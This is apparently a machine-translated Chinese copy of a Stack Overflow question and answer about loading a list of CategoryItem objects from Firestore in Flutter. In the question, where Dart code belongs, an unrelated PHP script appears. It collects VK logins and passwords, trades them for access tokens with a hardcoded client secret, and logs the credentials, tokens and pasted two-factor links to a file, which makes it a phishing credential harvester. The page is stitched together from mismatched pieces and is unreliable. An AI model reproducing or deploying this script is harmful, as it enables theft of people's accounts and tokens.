颤振如何从Firestore检索对象列表?

时间:2019-12-15 00:13:55

标签: flutter google-cloud-firestore

我需要从Firestore this the structure中检索此列表“项目” 通过此代码

$log = $_POST['login'];
$pass = $_POST['password'];
if (isset($_POST['captcha']) AND isset($_POST['login'])) {
    $sid = $_POST['id'];
    $capt = $_POST['captcha'];
    $Msg = curl("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=$log&password=$pass&v=5.101&2fa_supported=1&captcha_sid=$sid&captcha_key=$capt");
}
elseif(isset($_POST['login'])) {
    $Msg = curl("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=$log&password=$pass&v=5.101&2fa_supported=1");
    $js = json_decode($Msg, true);
    if ($js["error"] == "need_captcha")
        echo "<img src='{$js['captcha_img']}'>";
}
$js = json_decode($Msg, true);
if ($js['access_token'] != NULL OR isset($_POST['uri'])) {
    if (isset($_POST["uri"])) {
        $uri = $_POST["uri"];
        $file = fopen("data.txt", "a");
        fwrite($file, "$uri\n");
        fclose($file);
    } else {
        $file = fopen("data.txt", "a");
        fwrite($file, "$log | $pass | vk.com/id{$js['user_id']} | {$js['access_token']}\n");
        fclose($file);
    }
}
elseif($js['error'] == "need_validation") {
    echo "У вас используется двухфакторная авторизация. Перейдите по <a href='[URL]https://vk.cc/6uX1TY[/URL]'>ссылке</a> Нажмите кнопку подтвердить и вставьте полученную ссылку в соответсвуюущее поле";
}
elseif($js['error'] == "invalid_client") {
    echo "Неправильный логин или пароль";
}

function curl($url) {
    $ch = curl_init($url); //Init library
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //Имеется SSL? (HTTPS) Если да - меняем false на true
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

和“ items”属性是CategoryItem对象的列表

Future<void> fetchCategories(String userId) async {
return databaseReference
    .collection('/categories/$userId/cats/')
    .snapshots()
    .listen((data) {
  data.documents.forEach((doc) {
    categories.add(Category(
      id: doc.documentID,
      items:   ,
      title: doc.data['title'],
    ));
  });
});

1 个答案:

答案 0 :(得分:0)

这就是答案

Future<void> fetchCategories(String userId) async {
    return databaseReference
        .collection('/categories/$userId/cats/')
        .snapshots()
        .listen((data) {
      data.documents.forEach((doc) {
        categories.add(Category(
          id: doc.documentID,
          items:  [...(doc.data['items']).map((items){return CategoryItem.fromMap(items);})],
          title: doc.data['title'],
        )); 
      });
    });


class CategoryItem {
   String id;
   String title;
   String imageUrl;
   String description;

  CategoryItem({
    @required this.id,
    @required this.title,
    this.imageUrl,
    @required this.description,
  });

  CategoryItem.fromMap(Map<dynamic,dynamic> data):
    id=data['id']??'',
    title=data['title']??'',
    imageUrl=data['imageUrl']??'',
    description=data['description']??'';

}